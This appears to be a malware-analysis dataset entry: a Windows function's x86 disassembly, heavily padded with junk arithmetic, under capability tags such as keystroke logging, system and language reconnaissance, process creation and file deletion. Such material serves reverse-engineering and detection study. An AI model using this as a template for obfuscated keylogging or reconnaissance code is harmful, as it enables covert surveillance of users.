Function at 0x100352e7
Capabilities:
Accept command line arguments
Check os version
Create process on windows
Delete directory
Delete file
Enumerate gui resources
Get disk information
Get graphical window text
Get keyboard layout
Get system information on windows
Identify system language via api
Log keystrokes via polling
Parse pe header
Read .ini file
Resume thread

Disassembly:
mov eax, 0x1008b59f
call fcn.1008a030
mov eax, 0x16fc
call fcn.100868f0
push ebx
push esi
push edi
push 2
pop ebx
mov dword [ebp - 0x5c], ecx
lea ecx, [ebp - 0x234]
push ebx
mov byte [ebp - 0x5d], dl
call fcn.1001b2a6
xor eax, eax
or edi, 0xffffffff
mov dword [ebp - 4], eax
mov dword [ebp - 0x1c], 7
mov dword [ebp - 0x14], 0xfffffff7
mov dword [ebp - 0x4c], 0x3ff56644
push 4
pop ecx
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x48], edi
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ecx
jge 0x10035359
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x63c], 6
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x10035341
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x1003536f
push dword [ebp - 0x10]
call fcn.1001b330
mov dword [eax], 0x279c4185
inc dword [ebp - 0x10]
lea ecx, [ebp - 0x234]
cmp dword [ebp - 0x10], ebx
jl 0x1003535e
mov eax, dword [ebp - 0x634]
xor ebx, ebx
mov eax, dword [ebp - 0x630]
cmp eax, 0xca98
setg bl
xor esi, esi
inc esi
push esi
call fcn.1001b330
mov dword [eax], ebx
test ebx, ebx
jne 0x100353b4
mov eax, dword [ebp - 0x1c]
lea ecx, [ebp - 0x234]
mov eax, dword [ebp - 0x634]
push esi
call fcn.1001b330
mov eax, dword [ebp - 0x634]
mov dword [ebp - 0x2c], 0x3295
xor eax, eax
mov dword [ebp - 0x48], edi
mov dword [ebp - 0x48], edi
mov dword [ebp - 0x30], 0x918cb0b9
cmp dword [ebp - 0x634], eax
je 0x100353db
mov eax, dword [ebp - 0x2c]
push esi
lea ecx, [ebp - 0x234]
call fcn.1001b330
push esi
lea ecx, [ebp - 0x234]
call fcn.1001b330
push esi
lea ecx, [ebp - 0x234]
call fcn.1001b330
xor ecx, ecx
mov dword [eax], esi
mov eax, dword [ebp - 0x1c]
inc eax
cmp eax, 0x969b42c5
setne cl
sub ecx, dword [ebp - 0x634]
neg ecx
sbb ecx, ecx
inc ecx
cmp ecx, 0xb59
jg 0x10035437
push esi
lea ecx, [ebp - 0x234]
call fcn.1001b330
cmp dword [eax], 0
je 0x10035437
mov eax, esi
jmp 0x10035439
xor eax, eax
mov dword [ebp - 0x48], eax
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x100354a5
mov dword [ebp - 0x38], 9
mov dword [ebp - 0x30], 0x64f5774
mov dword [ebp - 0x48], 0x41ab
dec dword [ebp - 0x48]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x634]
call fcn.1001b330
mov eax, dword [eax]
mov dword [ebp - 0x48], eax
xor eax, eax
cmp dword [ebp - 0x48], eax
je 0x10035481
push esi
lea ecx, [ebp - 0x234]
call fcn.1001b330
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x14]
cmp eax, esi
setg cl
xor eax, eax
cmp ecx, 0x4a9b
setl al
mov dword [ebp - 0x48], eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x12
lea ecx, [ebp - 0x234]
push esi
jle 0x10035443
call fcn.1001b330
lea ecx, [ebp - 0x234]
mov dword [eax], 0xfffffffc
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x634]
mov eax, dword [ebp - 0x14]
xor eax, eax
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x48], eax
mov dword [ebp - 4], edi
call fcn.1001b32b
mov dword [ebp - 0x1c], edi
xor eax, eax
mov dword [ebp - 0x10], 0xfff6
mov dword [ebp - 0x2c], 0xdd35930c
push 2
mov dword [ebp - 0x40], eax
pop ebx
cmp dword [ebp - 0x40], ebx
jge 0x10035521
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0x498], 0
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], ebx
jl 0x10035509
xor eax, eax
push esi
cmp dword [ebp - 0x10], eax
je 0x10035809
lea ecx, [ebp - 0x14c]
call fcn.1001b2a6
push esi
lea ecx, [ebp - 0x588]
mov dword [ebp - 4], esi
call fcn.1001b2a6
xor eax, eax
mov byte [ebp - 4], bl
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x10035570
push dword [ebp - 0x10]
lea ecx, [ebp - 0x14c]
call fcn.1001b330
mov dword [eax], 0x83c8
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x10035552
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x10035596
push dword [ebp - 0x10]
lea ecx, [ebp - 0x588]
call fcn.1001b330
mov dword [eax], 0x720725fc
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x10035578
xor eax, eax
mov dword [ebp - 0x10], 0xfffffffc
jmp 0x100357df
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x2c], 0xd2d97b6e
mov dword [ebp - 0x48], 0x144d9913
mov dword [ebp - 0x48], esi
mov dword [ebp - 0x4c], 0x6a54ee8
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], eax
jl 0x100357dc
mov dword [ebp - 0x48], edi
lea ecx, [ebp - 0xa54]
mov dword [ebp - 0x38], 8
push ebx
call fcn.1001b2a6
xor eax, eax
mov byte [ebp - 4], 3
mov dword [ebp - 0x40], eax
jmp 0x10035601
push dword [ebp - 0x40]
lea ecx, [ebp - 0xa54]
call fcn.1001b330
mov dword [eax], 0x7dc23988
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], ebx
jl 0x100355ea
push dword [ebp - 0x44]
lea ecx, [ebp - 0x14c]
call fcn.1001b330
xor ebx, ebx
lea ecx, [ebp - 0x14c]
push ebx
call fcn.1001b330
mov eax, dword [ebp - 0x44]
lea ecx, [ebp - 0x588]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x10]
push ebx
call fcn.1001b330
push dword [ebp - 0x44]
lea ecx, [ebp - 0x14c]
mov dword [eax], esi
call fcn.1001b330
push ebx
lea ecx, [ebp - 0x14c]
mov esi, dword [eax]
dec esi
call fcn.1001b330
cmp esi, dword [eax]
je 0x1003566b
push dword [ebp - 0x44]
lea ecx, [ebp - 0x14c]
call fcn.1001b330
mov eax, dword [ebp - 0x44]
lea ecx, [ebp - 0x14c]
mov eax, dword [ebp - 0x10]
push dword [ebp - 0x44]
call fcn.1001b330
mov esi, dword [ebp - 0x10]
lea ecx, [ebp - 0x14c]
push dword [ebp - 0x44]
imul esi, dword [eax]
call fcn.1001b330
sub esi, dword [eax]
jne 0x100356a3
push ebx
lea ecx, [ebp - 0x588]
call fcn.1001b330
mov esi, dword [ebp - 0x44]
lea ecx, [ebp - 0x14c]
push dword [ebp - 0x44]
neg esi
sbb esi, esi
neg esi
call fcn.1001b330
mov ecx, dword [ebp - 0x44]
xor edx, edx
cmp esi, ecx
push ebx
setl dl
xor ecx, ecx
cmp edx, dword [eax]
setge cl
add ecx, 0x423b19d8
mov dword [ebp - 0x48], ecx
lea ecx, [ebp - 0xa54]
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x38], eax
call fcn.1001b330
mov ecx, dword [ebp - 0x38]
mov dword [eax], ecx
lea ecx, [ebp - 0x14c]
mov eax, dword [ebp - 0x44]
push dword [ebp - 0x44]
call fcn.1001b330
cmp dword [eax], ebx
jne 0x10035703
mov eax, dword [ebp - 0x44]
push ebx
lea ecx, [ebp - 0x14c]
call fcn.1001b330
mov esi, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
dec esi
neg esi
sbb esi, esi
xor edx, edx
neg esi
dec esi
cmp ecx, esi
lea ecx, [ebp - 0x14c]
setle dl
xor ebx, ebx
cmp edx, dword [eax]
setge bl
mov dword [ebp - 0x494], ebx
push dword [ebp - 0x44]
call fcn.1001b330
xor ecx, ecx
cmp dword [eax], ebx
sete cl
xor ebx, ebx
mov dword [ebp - 0x4c], ecx
lea ecx, [ebp - 0x588]
push ebx
call fcn.1001b330
mov ecx, dword [ebp - 0x4c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x2c]
imul eax, ecx
test eax, eax
jne 0x1003577c
push ebx
lea ecx, [ebp - 0x588]
call fcn.1001b330
cmp dword [eax], ebx
jne 0x1003577c
xor eax, eax
mov ecx, eax
jmp 0x10035781
xor eax, eax
lea ecx, [eax + 1]
mov eax, dword [ebp - 0x38]
sub eax, ecx
lea ecx, [ebp - 0x14c]
imul eax, dword [ebp - 0x2c]
push ebx
mov dword [ebp - 0x48], eax
call fcn.1001b330
mov esi, dword [ebp - 0x48]
lea ecx, [ebp - 0xa54]
push ebx
sub esi, dword [eax]
neg esi
sbb esi, esi
inc esi
call fcn.1001b330
push 2
pop ebx
lea ecx, [ebp - 0xa54]
mov eax, dword [eax]
imul eax, esi
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x4c], eax
mov byte [ebp - 4], bl
call fcn.1001b32b
dec dword [ebp - 0x44]
push 1
pop esi
jns 0x100355c9
xor eax, eax
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0x20
jl 0x100355a2
lea ecx, [ebp - 0x588]
call fcn.1001b32b
lea ecx, [ebp - 0x14c]
mov dword [ebp - 4], edi
call fcn.1001b32b
xor ebx, ebx
jmp 0x100358af
lea ecx, [ebp - 0xa6c]
call fcn.1001b2a6
mov dword [ebp - 4], 4
xor eax, eax
mov dword [ebp - 0x48], 0x91be676c
mov dword [ebp - 0x48], 0xffbebd5d
mov dword [ebp - 0x40], eax
jmp 0x10035841
push dword [ebp - 0x40]
call fcn.1001b330
mov dword [eax], 5
inc dword [ebp - 0x40]
lea ecx, [ebp - 0xa6c]
cmp dword [ebp - 0x40], esi
jl 0x10035830
mov eax, dword [ebp - 0x498]
xor ebx, ebx
push ebx
call fcn.1001b330
mov eax, dword [ebp - 0x494]
lea ecx, [ebp - 0xa6c]
push ebx
call fcn.1001b330
imul ecx, dword [ebp - 0x2c], 0x22a8
cmp ecx, 0xfffffff7
sbb ecx, ecx
neg ecx
sub ecx, dword [eax]
mov dword [ebp - 0x48], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x48]
test eax, eax
setle cl
cmp ecx, esi
sbb eax, eax
xor edx, edx
inc eax
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x10]
cmp eax, ecx
lea ecx, [ebp - 0xa6c]
setl dl
mov dword [ebp - 0x2c], edx
mov dword [ebp - 4], edi
call fcn.1001b32b
mov edi, dword [sym.imp.ADVAPI32.dll_CopySid]
mov dword [ebp - 0x494], 0xfffffff6
mov dword [ebp - 0x40], 0x2c58fb77
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x44], 0x3fa3a92b
mov dword [ebp - 0x38], 0x585ca258
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x20], eax
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 2
jne 0x1003594b
push 2
pop esi
mov dword [ebp - 0x3c], 0xfffa
or ecx, 0xffffffff
mov dword [ebp - 0x10], 0x25b9b55b
xor ebx, ebx
mov dword [ebp - 0x48], ecx
inc ebx
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x30], 0xba7c3387
mov dword [ebp - 0x30], 0x395830af
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jge 0x10035932
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x3e4], ecx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x1003591e
xor eax, eax
mov dword [ebp - 0x10], 0xfffffff8
cmp dword [ebp - 0x10], 0xe
jge 0x10035cf5
jmp 0x10035b88
xor esi, esi
inc esi
mov dword [ebp - 0x28], 0xfffffffd
mov dword [ebp - 0x2c], 0x2570
mov dword [ebp - 0x28], 0xffffffe9
cmp dword [ebp - 0x28], 0x11
jl 0x10035b6f
jmp 0x1003596f
xor esi, esi
inc esi
mov dword [ebp - 0x24], 0x23afc371
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xffffffe8
jg 0x10035b62
or ebx, 0xffffffff
jmp 0x1003598b
xor esi, esi
inc esi
mov dword [ebp - 0x54], ebx
lea ecx, [ebp - 0xa84]
push 4
call fcn.1001b2a6
xor eax, eax
mov dword [ebp - 4], 5
mov dword [ebp - 0x40], eax
jmp 0x100359bc
push dword [ebp - 0x40]
lea ecx, [ebp - 0xa84]
call fcn.1001b330
mov dword [eax], esi
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], 4
jl 0x100359a9
mov dword [ebp - 0x54], 8
cmp dword [ebp - 0x54], ebx
jle 0x10035b45
xor ebx, ebx
inc ebx
movdqa xmm0, xmmword [0x1000a7d0]
lea eax, [ebp - 0x12e8]
push eax
lea eax, [ebp - 0x12f8]
push eax
lea ecx, [ebp - 0x14c8]
movdqu xmmword [ebp - 0x12f8], xmm0
call fcn.1001b33f
lea ecx, [ebp - 0x221]
mov esi, eax
call fcn.1000b813
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x101c]
push dword [esi]
call fcn.1001b305
mov byte [ebp - 4], 6
mov dword [ebp - 0x4c], 0xfffffffd
mov dword [ebp - 0x48], 0xd35da2
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x44], 0xffffffe8
cmp dword [ebp - 0x44], 0xe
jne 0x10035b25
xor eax, eax
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jg 0x10035b11
push 3
lea ecx, [ebp - 0xb58]
call fcn.1001b2a6
xor eax, eax
mov byte [ebp - 4], 7
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 3
jge 0x10035a92
push dword [ebp - 0x40]
lea ecx, [ebp - 0xb58]
call fcn.1001b330
mov dword [eax], 0x475761ac
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], 3
jl 0x10035a73
xor eax, eax
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x10035aa4
push eax
push eax
push 0x75b
call edi
push dword [ebp - 0x10]
lea ecx, [ebp - 0xa84]
call fcn.1001b330
push dword [ebp - 0x10]
lea ecx, [ebp - 0xa84]
call fcn.1001b330
mov eax, dword [ebp - 0x28]
lea ecx, [ebp - 0x101c]
push 3
call fcn.1001b330
push 2
lea ecx, [ebp - 0xb58]
mov dword [eax], 0xa567
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x2c]
pop eax
push eax
call fcn.1001b330
mov ecx, dword [ebp - 0x10]
mov byte [ebp - 4], 6
mov dword [eax], ecx
lea ecx, [ebp - 0xb58]
call fcn.1001b32b
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jle 0x10035a57
xor eax, eax
mov dword [ebp - 0x38], 0x64de8cc1
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], 0xe
je 0x10035a47
lea ecx, [ebp - 0x101c]
mov byte [ebp - 4], 5
call fcn.1001b32b
dec dword [ebp - 0x54]
or eax, 0xffffffff
cmp dword [ebp - 0x54], eax
jg 0x100359d5
or ebx, eax
lea ecx, [ebp - 0xa84]
mov dword [ebp - 4], ebx
call fcn.1001b32b
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xffffffe8
jle 0x10035988
xor eax, eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0x11
jge 0x1003596c
inc dword [ebp - 0x20]
push 2
pop esi
cmp dword [ebp - 0x20], esi
jne 0x10035948
jmp 0x100358eb
xor eax, eax
or ecx, 0xffffffff
mov dword [ebp - 0x38], 0x3f0bc502
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x30], ecx
lea ecx, [ebp - 0xff0]
mov dword [ebp - 0x30], 0xfadbacd6
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x30], 0x82ea9177
push esi
call fcn.1001b2a6
xor eax, eax
mov dword [ebp - 4], 8
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], esi
jge 0x10035be7
or ebx, 0xffffffff
push dword [ebp - 0x24]
lea ecx, [ebp - 0xff0]
call fcn.1001b330
mov dword [eax], ebx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x10035bcc
xor ebx, ebx
inc ebx
mov eax, dword [ebp - 0x38]
xor ecx, ecx
xor eax, eax
mov dword [ebp - 0x3e4], eax
dec dword [ebp - 0x38]
mov edx, dword [ebp - 0x14]
imul edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
neg edx
cmp edx, eax
setl cl
or edx, 0xffffffff
cmp ecx, edx
sbb eax, eax
neg eax
cmp edx, eax
mov eax, dword [ebp - 0x14]
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setge cl
mov dword [ebp - 0x14], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x10]
imul eax, dword [ebp - 0x10], 0xfffffffa
test eax, eax
setg cl
cmp ecx, 0xd162c5d1
sbb eax, eax
inc eax
add eax, dword [ebp - 0x10]
je 0x10035c91
push esi
lea ecx, [ebp - 0xd74]
call fcn.1001b2a6
mov byte [ebp - 4], 9
xor eax, eax
mov dword [ebp - 0x4c], 0xfffffffe
mov dword [ebp - 0x24], eax
jmp 0x10035c6e
push dword [ebp - 0x24]
call fcn.1001b330
mov dword [eax], 0xbebf0a0c
inc dword [ebp - 0x24]
lea ecx, [ebp - 0xd74]
cmp dword [ebp - 0x24], esi
jl 0x10035c5d
push ebx
call fcn.1001b330
lea ecx, [ebp - 0xd74]
mov eax, dword [eax]
mov dword [ebp - 0x4c], eax
call fcn.1001b32b
jmp 0x10035cd4
mov dword [ebp - 0x14], 0x70cc321a
xor ecx, ecx
mov dword [ebp - 0x48], 0x804524be
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x3e4], edx
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
imul eax, dword [ebp - 0x14]
cmp edx, eax
setne cl
sub ecx, 0x7a05
mov dword [ebp - 0x48], ecx
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x4c], eax
dec dword [ebp - 0x2c]
lea ecx, [ebp - 0xff0]
or eax, 0xffffffff
mov dword [ebp - 4], eax
call fcn.1001b32b
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0xe
jl 0x10035b83
xor eax, eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x14], 0x7186
mov dword [ebp - 0x38], 0xedade098
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x10035d25
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x68], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x10035d10
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x10035d3b
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x118], 0x523dd972
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x10035d2a
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x38], 0xaee5a986
mov eax, dword [ebp - 0x14]
sub eax, 0xadb8
neg eax
sbb eax, eax
inc eax
cmp dword [ebp - 0x38], eax
je 0x10035d68
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
xor edx, edx
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
cmp ecx, eax
setl dl
xor eax, eax
mov dword [ebp - 0x118], edx
cmp dword [ebp - 0x68], eax
jne 0x10035d8d
mov eax, dword [ebp - 0x68]
xor eax, eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x48], 0x33e7a329
mov dword [ebp - 0x4c], 0xfffffffa
mov dword [ebp - 0x38], 0x36c1418e
cmp dword [ebp - 0x10], eax
je 0x10035e2f
mov eax, dword [ebp - 0x10]
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp - 0x48]
sub ecx, dword [ebp - 0x118]
mov eax, dword [ebp - 0x118]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
add ecx, eax
mov eax, dword [ebp - 0x118]
cmp ecx, eax
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
setg dl
add ecx, edx
xor edx, edx
cmp ecx, eax
setl dl
xor eax, eax
test edx, edx
setle al
xor edx, edx
mov dword [ebp - 0x4c], eax
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x118]
imul ecx, eax
mov eax, dword [ebp - 0x10]
cmp eax, ecx
setg dl
sub edx, 0x8940
neg edx
sbb edx, edx
inc edx
add edx, dword [ebp - 0x10]
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0x38]
sub eax, dword [ebp - 0x10]
neg eax
sbb eax, eax
inc eax
add eax, 0xa3ce
jne 0x10035e32
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x10]
xor edx, edx
mov eax, dword [ebp - 0x10]
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setle dl
xor ecx, ecx
cmp edx, eax
setne cl
xor eax, eax
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x24], eax
jmp 0x10035e64
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xadc], 0xda3c
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x10035e53
mov ecx, dword [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setle dl
xor ecx, ecx
cmp eax, edx
setl cl
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x40], eax
xor eax, eax
mov dword [ebp - 0x10], 0x252cb136
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], esi
jge 0x10035eb2
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x1558], 0x342e
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x10035e9a
xor eax, eax
mov dword [ebp - 0x10], ebx
cmp dword [ebp - 0x10], eax
jl 0x10035ef4
cmp dword [ebp - 0x10], eax
jne 0x10035ef4
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x10035eef
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0x1f6b
push 0x20d
push 0x126b
push 0x128e
xor eax, eax
push eax
call dword [sym.imp.USER32.dll_TrackPopupMenu]
xor eax, eax
dec dword [ebp - 0x10]
jns 0x10035eba
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jg 0x10035f30
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x48], 0x65352f76
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x4c], eax
xor eax, eax
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], al
je 0x10035f25
push 0x1e90
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
inc dword [ebp - 0x10]
push 0
pop eax
cmp dword [ebp - 0x10], ebx
jle 0x10035eff
cmp dword [ebp - 0x40], eax
je 0x10035f99
mov eax, dword [ebp - 0x40]
xor ecx, ecx
mov eax, dword [ebp - 0x2c]
cmp eax, ebx
setg cl
xor eax, eax
cmp ecx, 0x364d64ea
mov ecx, 0xa5720fbc
setne al
sub eax, dword [ebp - 0x1c]
add eax, 0x40e1
sub ecx, eax
mov dword [ebp - 0xadc], eax
add ecx, dword [ebp - 0x40]
cmp ecx, 0xfffffffe
mov ecx, dword [ebp - 0x3c]
sbb eax, eax
neg eax
sub ecx, eax
neg ecx
sbb ecx, ecx
inc ecx
cmp ecx, dword [ebp - 0x3c]
je 0x10035f81
mov eax, dword [ebp - 0xadc]
mov ecx, dword [ebp - 0x40]
xor edx, edx
mov eax, dword [ebp - 0x1c]
cmp eax, ecx
setge dl
sub edx, dword [ebp - 0x1c]
je 0x10035f97
mov edx, ebx
jmp 0x10035f9b
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
cmp edx, eax
push 3
setl cl
mov dword [ebp - 0x1c], ecx
lea ecx, [ebp - 0xa9c]
mov dword [ebp - 0x1c], ebx
call fcn.1001b2a6
mov dword [ebp - 4], 0xa
lea ecx, [ebp - 0xb64]
or esi, 0xffffffff
mov dword [ebp - 0x38], esi
push 4
call fcn.1001b2a6
mov byte [ebp - 4], 0xb
xor eax, eax
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jge 0x10036003
push dword [ebp - 0x10]
lea ecx, [ebp - 0xa9c]
call fcn.1001b330
mov dword [eax], 0xac9d73df
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x10035fe4
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x1003601f
push dword [ebp - 0x10]
lea ecx, [ebp - 0xb64]
call fcn.1001b330
mov dword [eax], 0xb94b
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x10036008
mov esi, dword [ebp - 0x1c]
lea ecx, [ebp - 0xa9c]
sub esi, 0x534de6f8
neg esi
push ebx
sbb esi, esi
add esi, 0x8d97
call fcn.1001b330
mov dword [eax], esi
test esi, esi
je 0x1003605f
push ebx
lea ecx, [ebp - 0xa9c]
call fcn.1001b330
cmp dword [eax], 0
je 0x1003605f
mov eax, ebx
jmp 0x10036061
xor eax, eax
xor ecx, ecx
cmp eax, 0x20b50f6b
setl cl
xor edx, edx
add ecx, dword [ebp - 0x1c]
imul ecx, dword [ebp - 0x1c]
imul ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
cmp eax, ecx
mov eax, dword [ebp - 0x1c]
setne dl
xor ecx, ecx
cmp edx, eax
setge cl
mov dword [ebp - 0x38], ecx
mov ecx, dword [ebp - 0x38]
sub ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
neg ecx
sbb ecx, ecx
inc ecx
sub eax, ecx
jne 0x100360a6
mov esi, eax
cmp dword [ebp - 0x38], eax
je 0x100360a8
mov esi, ebx
push 2
pop ebx
push ebx
lea ecx, [ebp - 0xb64]
call fcn.1001b330
xor ecx, ecx
neg esi
cmp esi, dword [eax]
setge cl
mov dword [ebp - 0x4c], ecx
lea ecx, [ebp - 0xb64]
call fcn.1001b32b
or esi, 0xffffffff
lea ecx, [ebp - 0xa9c]
mov dword [ebp - 4], esi
call fcn.1001b32b
push ebx
lea ecx, [ebp - 0x244]
call fcn.1001b2a6
mov dword [ebp - 4], 0xc
xor eax, eax
mov dword [ebp - 0x1c], 7
mov dword [ebp - 0x14], 0xfffffff7
mov dword [ebp - 0x4c], 0x3ff56644
push 4
pop ecx
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x48], esi
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ecx
jge 0x10036132
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x65c], 6
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x1003611a
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x10036148
push dword [ebp - 0x10]
call fcn.1001b330
mov dword [eax], 0x279c4185
inc dword [ebp - 0x10]
lea ecx, [ebp - 0x244]
cmp dword [ebp - 0x10], ebx
jl 0x10036137
mov eax, dword [ebp - 0x654]
xor ebx, ebx
mov eax, dword [ebp - 0x650]
cmp eax, 0xca98
setg bl
xor esi, esi
inc esi
push esi
call fcn.1001b330
mov dword [eax], ebx
test ebx, ebx
jne 0x1003618d
mov eax, dword [ebp - 0x1c]
lea ecx, [ebp - 0x244]
mov eax, dword [ebp - 0x654]
push esi
call fcn.1001b330
mov eax, dword [ebp - 0x654]
or ebx, 0xffffffff
mov dword [ebp - 0x2c], 0x3295
xor eax, eax
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x30], 0x918cb0b9
cmp dword [ebp - 0x654], eax
je 0x100361b7
mov eax, dword [ebp - 0x2c]
push esi
lea ecx, [ebp - 0x244]
call fcn.1001b330
push esi
lea ecx, [ebp - 0x244]
call fcn.1001b330
push esi
lea ecx, [ebp - 0x244]
call fcn.1001b330
xor ecx, ecx
mov dword [eax], esi
mov eax, dword [ebp - 0x1c]
inc eax
cmp eax, 0x969b42c5
setne cl
sub ecx, dword [ebp - 0x654]
neg ecx
sbb ecx, ecx
inc ecx
cmp ecx, 0xb59
jg 0x10036213
push esi
lea ecx, [ebp - 0x244]
call fcn.1001b330
cmp dword [eax], 0
je 0x10036213
mov eax, esi
jmp 0x10036215
xor eax, eax
mov dword [ebp - 0x48], eax
xor eax, eax
